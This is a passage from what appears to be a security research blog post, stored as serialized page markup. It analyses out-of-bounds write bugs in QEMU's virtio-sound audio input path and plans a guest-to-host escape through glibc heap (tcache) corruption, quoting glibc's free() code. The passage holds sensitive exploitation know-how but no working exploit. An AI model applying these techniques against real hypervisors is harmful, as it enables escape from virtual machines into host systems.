params",{"type":25,"tag":271,"props":138454,"children":138455},{"style":13625},[138456],{"type":30,"value":14411},{"type":25,"tag":271,"props":138458,"children":138459},{"style":13598},[138460],{"type":30,"value":138443},{"type":25,"tag":271,"props":138462,"children":138463},{"style":13625},[138464],{"type":30,"value":16165},{"type":25,"tag":271,"props":138466,"children":138467},{"class":13593,"line":16841},[138468,138472,138476,138481,138485,138489,138493,138497],{"type":25,"tag":271,"props":138469,"children":138470},{"style":13598},[138471],{"type":30,"value":138294},{"type":25,"tag":271,"props":138473,"children":138474},{"style":13625},[138475],{"type":30,"value":14411},{"type":25,"tag":271,"props":138477,"children":138478},{"style":13598},[138479],{"type":30,"value":138480},"format",{"type":25,"tag":271,"props":138482,"children":138483},{"style":13603},[138484],{"type":30,"value":16155},{"type":25,"tag":271,"props":138486,"children":138487},{"style":13598},[138488],{"type":30,"value":138452},{"type":25,"tag":271,"props":138490,"children":138491},{"style":13625},[138492],{"type":30,"value":14411},{"type":25,"tag":271,"props":138494,"children":138495},{"style":13598},[138496],{"type":30,"value":138480},{"type":25,"tag":271,"props":138498,"children":138499},{"style":13625},[138500],{"type":30,"value":16165},{"type":25,"tag":271,"props":138502,"children":138503},{"class":13593,"line":16907},[138504,138508,138512,138517,138521,138525,138529,138533],{"type":25,"tag":271,"props":138505,"children":138506},{"style":13598},[138507],{"type":30,"value":138294},{"type":25,"tag":271,"props":138509,"children":138510},{"style":13625},[138511],{"type":30,"value":14411},{"type":25,"tag":271,"props":138513,"children":138514},{"style":13598},[138515],{"type":30,"value":138516},"rate",{"type":25,"tag":271,"props":138518,"children":138519},{"style":13603},[138520],{"type":30,"value":16155},{"type":25,"tag":271,"props":138522,"children":138523},{"style":13598},[138524],{"type":30,"value":138452},{"type":25,"tag":271,"props":138526,"children":138527},{"style":13625},[138528],{"type":30,"value":14411},{"type":25,"tag":271,"props":138530,"children":138531},{"style":13598},[138532],{"type":30,"value":138516},{"type":25,"tag":271,"props":138534,"children":138535},{"style":13625},[138536],{"type":30,"value":16165},{"type":25,"tag":271,"props":138538,"children":138539},{"class":13593,"line":16915},[138540],{"type":25,"tag":271,"props":138541,"children":138542},{"emptyLinePlaceholder":18},[138543],{"type":30,"value":16829},{"type":25,"tag":271,"props":138545,"children":138546},{"class":13593,"line":16945},[138547,138551,138556],{"type":25,"tag":271,"props":138548,"children":138549},{"style":16171},[138550],{"type":30,"value":30111},{"type":25,"tag":271,"props":138552,"children":138553},{"style":13620},[138554],{"type":30,"value":138555}," cpu_to_le32",{"type":25,"tag":271,"props":138557,"children":138558},{"style":13625},[138559],{"type":30,"value":138560},"(VIRTIO_SND_S_OK);\n",{"type":25,"tag":271,"props":138562,"children":138563},{"class":13593,"line":16953},[138564],{"type":25,"tag":271,"props":138565,"children":138566},{"style":13625},[138567],{"type":30,"value":17058},{"type":25,"tag":26,"props":138569,"children":138570},{},[138571,138573,138578,138580,138586,138588,138593,138595,138600,138602,138608,138609,138614],{"type":30,"value":138572},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":25,"tag":264,"props":138574,"children":138576},{"className":138575},[],[138577],{"type":30,"value":16567},{"type":30,"value":138579},") and signed (",{"type":25,"tag":264,"props":138581,"children":138583},{"className":138582},[],[138584],{"type":30,"value":138585},"s8",{"type":30,"value":138587},") samples. They encode the same waveform differently - silence is ",{"type":25,"tag":264,"props":138589,"children":138591},{"className":138590},[],[138592],{"type":30,"value":42552},{"type":30,"value":138594}," in ",{"type":25,"tag":264,"props":138596,"children":138598},{"className":138597},[],[138599],{"type":30,"value":16567},{"type":30,"value":138601},", but ",{"type":25,"tag":264,"props":138603,"children":138605},{"className":138604},[],[138606],{"type":30,"value":138607},"0x00",{"type":30,"value":138594},{"type":25,"tag":264,"props":138610,"children":138612},{"className":138611},[],[138613],{"type":30,"value":138585},{"type":30,"value":1860},{"type":25,"tag":92,"props":138616,"children":138617},{},[],{"type":25,"tag":26,"props":138619,"children":138620},{},[138621],{"type":30,"value":138622},"To summarize:",{"type":25,"tag":661,"props":138624,"children":138625},{},[138626,138645,138663],{"type":25,"tag":112,"props":138627,"children":138628},{},[138629,138631,138636,138638,138643],{"type":30,"value":138630},"an integer underflow in the ",{"type":25,"tag":264,"props":138632,"children":138634},{"className":138633},[],[138635],{"type":30,"value":136700},{"type":30,"value":138637}," calculation in ",{"type":25,"tag":264,"props":138639,"children":138641},{"className":138640},[],[138642],{"type":30,"value":136205},{"type":30,"value":138644},", resulting in an 8-byte (or less) under-allocation",{"type":25,"tag":112,"props":138646,"children":138647},{},[138648,138650,138655,138656,138661],{"type":30,"value":138649},"a mismatch in the ",{"type":25,"tag":264,"props":138651,"children":138653},{"className":138652},[],[138654],{"type":30,"value":137932},{"type":30,"value":138637},{"type":25,"tag":264,"props":138657,"children":138659},{"className":138658},[],[138660],{"type":30,"value":138030},{"type":30,"value":138662},", leading to at most 8-byte OOB write",{"type":25,"tag":112,"props":138664,"children":138665},{},[138666,138668,138673,138675,138680,138682,138687],{"type":30,"value":138667},"a missing bound in the ",{"type":25,"tag":264,"props":138669,"children":138671},{"className":138670},[],[138672],{"type":30,"value":136700},{"type":30,"value":138674}," passed to ",{"type":25,"tag":264,"props":138676,"children":138678},{"className":138677},[],[138679],{"type":30,"value":138050},{"type":30,"value":138681},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":25,"tag":264,"props":138683,"children":138685},{"className":138684},[],[138686],{"type":30,"value":138073},{"type":30,"value":95402},{"type":25,"tag":26,"props":138689,"children":138690},{},[138691,138693,138698,138700,138705,138707,138713],{"type":30,"value":138692},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":25,"tag":264,"props":138694,"children":138696},{"className":138695},[],[138697],{"type":30,"value":138073},{"type":30,"value":138699},", but in our setup with the ALSA backend, ",{"type":25,"tag":264,"props":138701,"children":138703},{"className":138702},[],[138704],{"type":30,"value":138073},{"type":30,"value":138706}," was consistently around ",{"type":25,"tag":264,"props":138708,"children":138710},{"className":138709},[],[138711],{"type":30,"value":138712},"4096",{"type":30,"value":1860},{"type":25,"tag":26,"props":138715,"children":138716},{},[138717,138719,138726,138727,138734],{"type":30,"value":138718},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":25,"tag":83,"props":138720,"children":138723},{"href":138721,"rel":138722},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[9066],[138724],{"type":30,"value":138725},"commit 1",{"type":30,"value":44},{"type":25,"tag":83,"props":138728,"children":138731},{"href":138729,"rel":138730},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[9066],[138732],{"type":30,"value":138733},"commit 2",{"type":30,"value":138735},") in the very same week that we independently found them while manually reviewing the code.",{"type":25,"tag":96,"props":138737,"children":138738},{"id":113202},[138739],{"type":30,"value":113205},{"type":25,"tag":26,"props":138741,"children":138742},{},[138743],{"type":30,"value":138744},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":25,"tag":26,"props":138746,"children":138747},{},[138748],{"type":30,"value":138749},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":25,"tag":247,"props":138751,"children":138753},{"id":138752},"achieving-a-better-primitive",[138754],{"type":30,"value":138755},"Achieving a Better Primitive",{"type":25,"tag":26,"props":138757,"children":138758},{},[138759],{"type":30,"value":138760},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":25,"tag":26,"props":138762,"children":138763},{},[138764],{"type":30,"value":138765},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":25,"tag":26,"props":138767,"children":138768},{},[138769],{"type":30,"value":138770},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":25,"tag":2352,"props":138772,"children":138774},{"id":138773},"glibc-allocator",[138775],{"type":30,"value":138776},"Glibc Allocator",{"type":25,"tag":26,"props":138778,"children":138779},{},[138780,138782,138789],{"type":30,"value":138781},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":25,"tag":83,"props":138783,"children":138786},{"href":138784,"rel":138785},"https://github.com/shellphish/how2heap",[9066],[138787],{"type":30,"value":138788},"how2heap",{"type":30,"value":1860},{"type":25,"tag":50458,"props":138791,"children":138793},{"id":138792},"chunk-layout-and-bins",[138794],{"type":30,"value":138795},"Chunk Layout and Bins",{"type":25,"tag":26,"props":138797,"children":138798},{},[138799],{"type":30,"value":138800},"A chunk looks like this:",{"type":25,"tag":7764,"props":138802,"children":138804},{"code":138803},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[138805],{"type":25,"tag":264,"props":138806,"children":138807},{"__ignoreMap":7},[138808],{"type":30,"value":138803},{"type":25,"tag":26,"props":138810,"children":138811},{},[138812,138814,138820,138822,138828,138829,138834,138835,138841,138843,138848,138850,138855,138857,138863,138864,138870,138872,138878],{"type":30,"value":138813},"The first 16 bytes form the chunk header. It consists of the ",{"type":25,"tag":264,"props":138815,"children":138817},{"className":138816},[],[138818],{"type":30,"value":138819},"prev_size",{"type":30,"value":138821}," field at offset ",{"type":25,"tag":264,"props":138823,"children":138825},{"className":138824},[],[138826],{"type":30,"value":138827},"0x0",{"type":30,"value":50660},{"type":25,"tag":264,"props":138830,"children":138832},{"className":138831},[],[138833],{"type":30,"value":136700},{"type":30,"value":138821},{"type":25,"tag":264,"props":138836,"children":138838},{"className":138837},[],[138839],{"type":30,"value":138840},"0x8",{"type":30,"value":138842},". As the name suggests, ",{"type":25,"tag":264,"props":138844,"children":138846},{"className":138845},[],[138847],{"type":30,"value":138819},{"type":30,"value":138849}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":25,"tag":264,"props":138851,"children":138853},{"className":138852},[],[138854],{"type":30,"value":136700},{"type":30,"value":138856}," stores the size of the current chunk and three special bits of which ",{"type":25,"tag":264,"props":138858,"children":138860},{"className":138859},[],[138861],{"type":30,"value":138862},"PREV_INUSE",{"type":30,"value":12218},{"type":25,"tag":264,"props":138865,"children":138867},{"className":138866},[],[138868],{"type":30,"value":138869},"IS_MMAPPED",{"type":30,"value":138871}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":25,"tag":264,"props":138873,"children":138875},{"className":138874},[],[138876],{"type":30,"value":138877},"0x10",{"type":30,"value":1860},{"type":25,"tag":26,"props":138880,"children":138881},{},[138882],{"type":30,"value":138883},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":25,"tag":50458,"props":138885,"children":138887},{"id":138886},"free-path",[138888],{"type":30,"value":138889},"free() path",{"type":25,"tag":26,"props":138891,"children":138892},{},[138893,138895,138901],{"type":30,"value":138894},"Let’s first look at the ",{"type":25,"tag":264,"props":138896,"children":138898},{"className":138897},[],[138899],{"type":30,"value":138900},"free()",{"type":30,"value":138902}," path in glibc 2.40:",{"type":25,"tag":7764,"props":138904,"children":138906},{"code":138905,"language":13243,"meta":7,"className":29637,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[138907],{"type":25,"tag":264,"props":138908,"children":138909},{"__ignoreMap":7},[138910,138938,138945,138953,138961,138968,138990,139011,139018,139031,139038,139046,139053,139066,139073,139094,139115,139122],{"type":25,"tag":271,"props":138911,"children":138912},{"class":13593,"line":13594},[138913,138918,138922,138926,138930,138934],{"type":25,"tag":271,"props":138914,"children":138915},{"style":13620},[138916],{"type":30,"value":138917},"__libc_free",{"type":25,"tag":271,"props":138919,"children":138920},{"style":13625},[138921],{"type":30,"value":16213},{"type":25,"tag":271,"props":138923,"children":138924},{"style":14289},[138925],{"type":30,"value":64743},{"type":25,"tag":271,"props":138927,"children":138928},{"style":13603},[138929],{"type":30,"value":22940},{"type":25,"tag":271,"props":138931,"children":138932},{"style":13598},[138933],{"type":30,"value":53775},{"type":25,"tag":271,"props":138935,"children":138936},{"style":13625},[138937],{"type":30,"value":16299},{"type":25,"tag":271,"props":138939,"children":138940},{"class":13593,"line":11641},[138941],{"type":25,"tag":271,"props":138942,"children":138943},{"style":13625},[138944],{"type":30,"value":24005},{"type":25,"tag":271,"props":138946,"children":138947},{"class":13593,"line":14354},[138948],{"type":25,"tag":271,"props":138949,"children":138950},{"style":13625},[138951],{"type":30,"value":138952},"  mstate ar_ptr;\n",{"type":25,"tag":271,"props":138954,"children":138955},{"class":13593,"line":14391},[138956],{"type":25,"tag":271,"props":138957,"children":138958},{"style":13625},[138959],{"type":30,"value":138960},"  mchunkptr p;\n",{"type":25,"tag":271,"props":138962,"children":138963},{"class":13593,"line":14400},[138964],{"type":25,"tag":271,"props":138965,"children":138966},{"emptyLinePlaceholder":18},[138967],{"type":30,"value":16829},{"type":25,"tag":271,"props":138969,"children":138970},{"class":13593,"line":16406},[138971,138976,138980,138985],{"type":25,"tag":271,"props":138972,"children":138973},{"style":13625},[138974],{"type":30,"value":138975},"  p ",{"type":25,"tag":271,"props":138977,"children":138978},{"style":13603},[138979],{"type":30,"value":1065},{"type":25,"tag":271,"props":138981,"children":138982},{"style":13620},[138983],{"type":30,"value":138984}," mem2chunk",{"type":25,"tag":271,"props":138986,"children":138987},{"style":13625},[138988],{"type":30,"value":138989}," (mem);\n",{"type":25,"tag":271,"props":138991,"children":138992},{"class":13593,"line":16434},[138993,138997,139001,139006],{"type":25,"tag":271,"props":138994,"children":138995},{"style":16171},[138996],{"type":30,"value":44506},{"type":25,"tag":271,"props":138998,"children":138999},{"style":13625},[139000],{"type":30,"value":16213},{"type":25,"tag":271,"props":139002,"children":139003},{"style":13620},[139004],{"type":30,"value":139005},"chunk_is_mmapped",{"type":25,"tag":271,"props":139007,"children":139008},{"style":13625},[139009],{"type":30,"value":139010}," (p))\n",{"type":25,"tag":271,"props":139012,"children":139013},{"class":13593,"line":16447},[139014],{"type":25,"tag":271,"props":139015,"children":139016},{"style":13625},[139017],{"type":30,"value":42299},{"type":25,"tag":271,"props":139019,"children":139020},{"class":13593,"line":16465},[139021,139026],{"type":25,"tag":271,"props":139022,"children":139023},{"style":13620},[139024],{"type":30,"value":139025},"      munmap_chunk",{"type":25,"tag":271,"props":139027,"children":139028},{"style":13625},[139029],{"type":30,"value":139030}," (p);\n",{"type":25,"tag":271,"props":139032,"children":139033},{"class":13593,"line":16486},[139034],{"type":25,"tag":271,"props":139035,"children":139036},{"style":13625},[139037],{"type":30,"value":16501},{"type":25,"tag":271,"props":139039,"children":139040},{"class":13593,"line":16495},[139041],{"type":25,"tag":271,"props":139042,"children":139043},{"style":16171},[139044],{"type":30,"value":139045},"  else\n",{"type":25,"tag":271,"props":139047,"children":139048},{"class":13593,"line":16744},[139049],{"type":25,"tag":271,"props":139050,"children":139051},{"style":13625},[139052],{"type":30,"value":42299},{"type":25,"tag":271,"props":139054,"children":139055},{"class":13593,"line":16761},[139056,139061],{"type":25,"tag":271,"props":139057,"children":139058},{"style":13620},[139059],{"type":30,"value":139060},"      MAYBE_INIT_TCACHE",{"type":25,"tag":271,"props":139062,"children":139063},{"style":13625},[139064],{"type":30,"value":139065}," ();\n",{"type":25,"tag":271,"props":139067,"children":139068},{"class":13593,"line":16778},[139069],{"type":25,"tag":271,"props":139070,"children":139071},{"emptyLinePlaceholder":18},[139072],{"type":30,"value":16829},{"type":25,"tag":271,"props":139074,"children":139075},{"class":13593,"line":16791},[139076,139081,139085,139090],{"type":25,"tag":271,"props":139077,"children":139078},{"style":13625},[139079],{"type":30,"value":139080},"      ar_ptr ",{"type":25,"tag":271,"props":139082,"children":139083},{"style":13603},[139084],{"type":30,"value":1065},{"type":25,"tag":271,"props":139086,"children":139087},{"style":13620},[139088],{"type":30,"value":139089}," arena_for_chunk",{"type":25,"tag":271,"props":139091,"children":139092},{"style":13625},[139093],{"type":30,"value":139030},{"type":25,"tag":271,"props":139095,"children":139096},{"class":13593,"line":16800},[139097,139102,139107,139111],{"type":25,"tag":271,"props":139098,"children":139099},{"style":13620},[139100],{"type":30,"value":139101},"      _int_free",{"type":25,"tag":271,"props":139103,"children":139104},{"style":13625},[139105],{"type":30,"value":139106}," (ar_ptr, p, ",{"type":25,"tag":271,"props":139108,"children":139109},{"style":16187},[139110],{"type":30,"value":953},{"type":25,"tag":271,"props":139112,"children":139113},{"style":13625},[139114],{"type":30,"value":13665},{"type":25,"tag":271,"props":139116,"children":139117},{"class":13593,"line":16823},[139118],{"type":25,"tag":271,"props":139119,"children":139120},{"style":13625},[139121],{"type":30,"value":16501},{"type":25,"tag":271,"props":139123,"children":139124},{"class":13593,"line":16832},[139125],{"type":25,"tag":271,"props":139126,"children":139127},{"style":13625},[139128],{"type":30,"value":17058},{"type":25,"tag":26,"props":139130,"children":139131},{},[139132,139134,139139,139141,139146,139148,139154,139156,139162,139164,139169,139171,139176,139178,139183,139185,139190],{"type":30,"value":139133},"We can see that if the ",{"type":25,"tag":264,"props":139135,"children":139137},{"className":139136},[],[139138],{"type":30,"value":138869},{"type":30,"value":139140}," bit is set in the corrupted ",{"type":25,"tag":264,"props":139142,"children":139144},{"className":139143},[],[139145],{"type":30,"value":136700},{"type":30,"value":139147}," field, glibc will call ",{"type":25,"tag":264,"props":139149,"children":139151},{"className":139150},[],[139152],{"type":30,"value":139153},"munmap_chunk",{"type":30,"value":139155},", which internally checks that ",{"type":25,"tag":264,"props":139157,"children":139159},{"className":139158},[],[139160],{"type":30,"value":139161},"prev_size + size",{"type":30,"value":139163}," is page-aligned. To reach the ",{"type":25,"tag":264,"props":139165,"children":139167},{"className":139166},[],[139168],{"type":30,"value":136700},{"type":30,"value":139170}," field, we first have to overwrite the entire 8-byte ",{"type":25,"tag":264,"props":139172,"children":139174},{"className":139173},[],[139175],{"type":30,"value":138819},{"type":30,"value":139177}," field with uncontrolled data. The chance that a corrupted ",{"type":25,"tag":264,"props":139179,"children":139181},{"className":139180},[],[139182],{"type":30,"value":139161},{"type":30,"value":139184}," value still ends up page-aligned is extremely small. In practice, if ",{"type":25,"tag":264,"props":139186,"children":139188},{"className":139187},[],[139189],{"type":30,"value":138869},{"type":30,"value":139191}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":25,"tag":26,"props":139193,"children":139194},{},[139195,139197,139202,139204,139210],{"type":30,"value":139196},"Assuming ",{"type":25,"tag":264,"props":139198,"children":139200},{"className":139199},[],[139201],{"type":30,"value":138869},{"type":30,"value":139203}," is not set, execution continues into ",{"type":25,"tag":264,"props":139205,"children":139207},{"className":139206},[],[139208],{"type":30,"value":139209},"_int_free",{"type":30,"value":359},{"type":25,"tag":7764,"props":139212,"children":139214},{"code":139213,"language":13243,"meta":7,"className":29637,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[139215],{"type":25,"tag":264,"props":139216,"children":139217},{"__ignoreMap":7},[139218,139230,139273,139280,139288,139295,139316,139323,139331,139339,139347,139355,139419,139454,139475,139483,139491,139539,139559,139566,139579,139586],{"type":25,"tag":271,"props":139219,"children":139220},{"class":13593,"line":13594},[139221,139225],{"type":25,"tag":271,"props":139222,"children":139223},{"style":14289},[139224],{"type":30,"value":64160},{"type":25,"tag":271,"props":139226,"children":139227},{"style":14289},[139228],{"type":30,"value":139229}," void\n",{"type":25,"tag":271,"props":139231,"children":139232},{"class":13593,"line":11641},[139233,139237,139242,139247,139252,139256,139260,139264,139269],{"type":25,"tag":271,"props":139234,"children":139235},{"style":13620},[139236],{"type":30,"value":139209},{"type":25,"tag":271,"props":139238,"children":139239},{"style":13625},[139240],{"type":30,"value":139241}," (mstate ",{"type":25,"tag":271,"props":139243,"children":139244},{"style":13598},[139245],{"type":30,"value":139246},"av",{"type":25,"tag":271,"props":139248,"children":139249},{"style":13625},[139250],{"type":30,"value":139251},", mchunkptr ",{"type":25,"tag":271,"props":139253,"children":139254},{"style":13598},[139255],{"type":30,"value":26},{"type":25,"tag":271,"props":139257,"children":139258},{"style":13625},[139259],{"type":30,"value":44},{"type":25,"tag":271,"props":139261,"children":139262},{"style":14289},[139263],{"type":30,"value":32168},{"type":25,"tag":271,"props":139265,"children":139266},{"style":13598},[139267],{"type":30,"value":139268}," have_lock",{"type":25,"tag":271,"props":139270,"children":139271},{"style":13625},[139272],{"type":30,"value":16299},{"type":25,"tag":271,"props":139274,"children":139275},{"class":13593,"line":14354},[139276],{"type":25,"tag":271,"props":139277,"children":139278},{"style":13625},[139279],{"type":30,"value":24005},{"type":25,"tag":271,"props":139281,"children":139282},{"class":13593,"line":14391},[139283],{"type":25,"tag":271,"props":139284,"children":139285},{"style":13625},[139286],{"type":30,"value":139287},"  INTERNAL_SIZE_T size;\n",{"type":25,"tag":271,"props":139289,"children":139290},{"class":13593,"line":14400},[139291],{"type":25,"tag":271,"props":139292,"children":139293},{"emptyLinePlaceholder":18},[139294],{"type":30,"value":16829},{"type":25,"tag":271,"props":139296,"children":139297},{"class":13593,"line":16406},[139298,139303,139307,139312],{"type":25,"tag":271,"props":139299,"children":139300},{"style":13625},[139301],{"type":30,"value":139302},"  size ",{"type":25,"tag":271,"props":139304,"children":139305},{"style":13603},[139306],{"type":30,"value":1065},{"type":25,"tag":271,"props":139308,"children":139309},{"style":13620},[139310],{"type":30,"value":139311}," chunksize",{"type":25,"tag":271,"props":139313,"children":139314},{"style":13625},[139315],{"type":30,"value":139030},{"type":25,"tag":271,"props":139317,"children":139318},{"class":13593,"line":16434},[139319],{"type":25,"tag":271,"props":139320,"children":139321},{"emptyLinePlaceholder":18},[139322],{"type":30,"value":16829},{"type":25,"tag":271,"props":139324,"children":139325},{"class":13593,"line":16447},[139326],{"type":25,"tag":271,"props":139327,"children":139328},{"style":14385},[139329],{"type":30,"value":139330},"  /* Little security check which won't hurt performance: the\n",{"type":25,"tag":271,"props":139332,"children":139333},{"class":13593,"line":16465},[139334],{"type":25,"tag":271,"props":139335,"children":139336},{"style":14385},[139337],{"type":30,"value":139338},"     allocator never wraps around at the end of the address space.\n",{"type":25,"tag":271,"props":139340,"children":139341},{"class":13593,"line":16486},[139342],{"type":25,"tag":271,"props":139343,"children":139344},{"style":14385},[139345],{"type":30,"value":139346},"     Therefore we can exclude some size values which might appear\n",{"type":25,"tag":271,"props":139348,"children":139349},{"class":13593,"line":16495},[139350],{"type":25,"tag":271,"props":139351,"children":139352},{"style":14385},[139353],{"type":30,"value":139354},"     here by accident or by \"design\" from some intruder.  */\n",{"type":25,"tag":271,"props":139356,"children":139357},{"class":13593,"line":16744},[139358,139362,139366,139371,139376,139381,139386,139390,139394,139398,139402,139406,139411,139415],{"type":25,"tag":271,"props":139359,"children":139360},{"style":16171},[139361],{"type":30,"value":44506},{"type":25,"tag":271,"props":139363,"children":139364},{"style":13625},[139365],{"type":30,"value":16213},{"type":25,"tag":271,"props":139367,"children":139368},{"style":13620},[139369],{"type":30,"value":139370},"__builtin_expect",{"type":25,"tag":271,"props":139372,"children":139373},{"style":13625},[139374],{"type":30,"value":139375}," ((",{"type":25,"tag":271,"props":139377,"children":139378},{"style":14289},[139379],{"type":30,"value":139380},"uintptr_t",{"type":25,"tag":271,"props":139382,"children":139383},{"style":13625},[139384],{"type":30,"value":139385},") p ",{"type":25,"tag":271,"props":139387,"children":139388},{"style":13603},[139389],{"type":30,"value":23586},{"type":25,"tag":271,"props":139391,"children":139392},{"style":13625},[139393],{"type":30,"value":16213},{"type":25,"tag":271,"props":139395,"children":139396},{"style":14289},[139397],{"type":30,"value":139380},{"type":25,"tag":271,"props":139399,"children":139400},{"style":13625},[139401],{"type":30,"value":14406},{"type":25,"tag":271,"props":139403,"children":139404},{"style":13603},[139405],{"type":30,"value":17459},{"type":25,"tag":271,"props":139407,"children":139408},{"style":13625},[139409],{"type":30,"value":139410},"size, ",{"type":25,"tag":271,"props":139412,"children":139413},{"style":16187},[139414],{"type":30,"value":953},{"type":25,"tag":271,"props":139416,"children":139417},{"style":13625},[139418],{"type":30,"value":16299},{"type":25,"tag":271,"props":139420,"children":139421},{"class":13593,"line":16761},[139422,139427,139432,139436,139441,139446,139450],{"type":25,"tag":271,"props":139423,"children":139424},{"style":13603},[139425],{"type":30,"value":139426},"      ||",{"type":25,"tag":271,"props":139428,"children":139429},{"style":13620},[139430],{"type":30,"value":139431}," __builtin_expect",{"type":25,"tag":271,"props":139433,"children":139434},{"style":13625},[139435],{"type":30,"value":16213},{"type":25,"tag":271,"props":139437,"children":139438},{"style":13620},[139439],{"type":30,"value":139440},"misaligned_chunk",{"type":25,"tag":271,"props":139442,"children":139443},{"style":13625},[139444],{"type":30,"value":139445}," (p), ",{"type":25,"tag":271,"props":139447,"children":139448},{"style":16187},[139449],{"type":30,"value":953},{"type":25,"tag":271,"props":139451,"children":139452},{"style":13625},[139453],{"type":30,"value":32833},{"type":25,"tag":271,"props":139455,"children":139456},{"class":13593,"line":16778},[139457,139462,139466,139471],{"type":25,"tag":271,"props":139458,"children":139459},{"style":13620},[139460],{"type":30,"value":139461},"    malloc_printerr",{"type":25,"tag":271,"props":139463,"children":139464},{"style":13625},[139465],{"type":30,"value":16213},{"type":25,"tag":271,"props":139467,"children":139468},{"style":17388},[139469],{"type":30,"value":139470},"\"free(): invalid pointer\"",{"type":25,"tag":271,"props":139472,"children":139473},{"style":13625},[139474],{"type":30,"value":13665},{"type":25,"tag":271,"props":139476,"children":139477},{"class":13593,"line":16791},[139478],{"type":25,"tag":271,"props":139479,"children":139480},{"style":14385},[139481],{"type":30,"value":139482},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":25,"tag":271,"props":139484,"children":139485},{"class":13593,"line":16800},[139486],{"type":25,"tag":271,"props":139487,"children":139488},{"style":14385},[139489],{"type":30,"value":139490},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":25,"tag":271,"props":139492,"children":139493},{"class":13593,"line":16823},[139494,139498,139502,139507,139512,139516,139521,139525,139529,139534],{"type":25,"tag":271,"props":139495,"children":139496},{"style":16171},[139497],{"type":30,"value":44506},{"type":25,"tag":271,"props":139499,"children":139500},{"style":13625},[139501],{"type":30,"value":16213},{"type":25,"tag":271,"props":139503,"children":139504},{"style":13620},[139505],{"type":30,"value":139506},"__glibc_unlikely",{"type":25,"tag":271,"props":139508,"children":139509},{"style":13625},[139510],{"type":30,"value":139511}," (size ",{"type":25,"tag":271,"props":139513,"children":139514},{"style":13603},[139515],{"type":30,"value":14307},{"type":25,"tag":271,"props":139517,"children":139518},{"style":13625},[139519],{"type":30,"value":139520}," MINSIZE ",{"type":25,"tag":271,"props":139522,"children":139523},{"style":13603},[139524],{"type":30,"value":35518},{"type":25,"tag":271,"props":139526,"children":139527},{"style":13603},[139528],{"type":30,"value":25989},{"type":25,"tag":271,"props":139530,"children":139531},{"style":13620},[139532],{"type":30,"value":139533},"aligned_OK",{"type":25,"tag":271,"props":139535,"children":139536},{"style":13625},[139537],{"type":30,"value":139538}," (size)))\n",{"type":25,"tag":271,"props":139540,"children":139541},{"class":13593,"line":16832},[139542,139546,139550,139555],{"type":25,"tag":271,"props":139543,"children":139544},{"style":13620},[139545],{"type":30,"value":139461},{"type":25,"tag":271,"props":139547,"children":139548},{"style":13625},[139549],{"type":30,"value":16213},{"type":25,"tag":271,"props":139551,"children":139552},{"style":17388},[139553],{"type":30,"value":139554},"\"free(): invalid size\"",{"type":25,"tag":271,"props":139556,"children":139557},{"style":13625},[139558],{"type":30,"value":13665},{"type":25,"tag":271,"props":139560,"children":139561},{"class":13593,"line":16841},[139562],{"type":25,"tag":271,"props":139563,"children":139564},{"emptyLinePlaceholder":18},[139565],{"type":30,"value":16829},{"type":25,"tag":271,"props":139567,"children":139568},{"class":13593,"line":16907},[139569,139574],{"type":25,"tag":271,"props":139570,"children":139571},{"style":13620},[139572],{"type":30,"value":139573},"  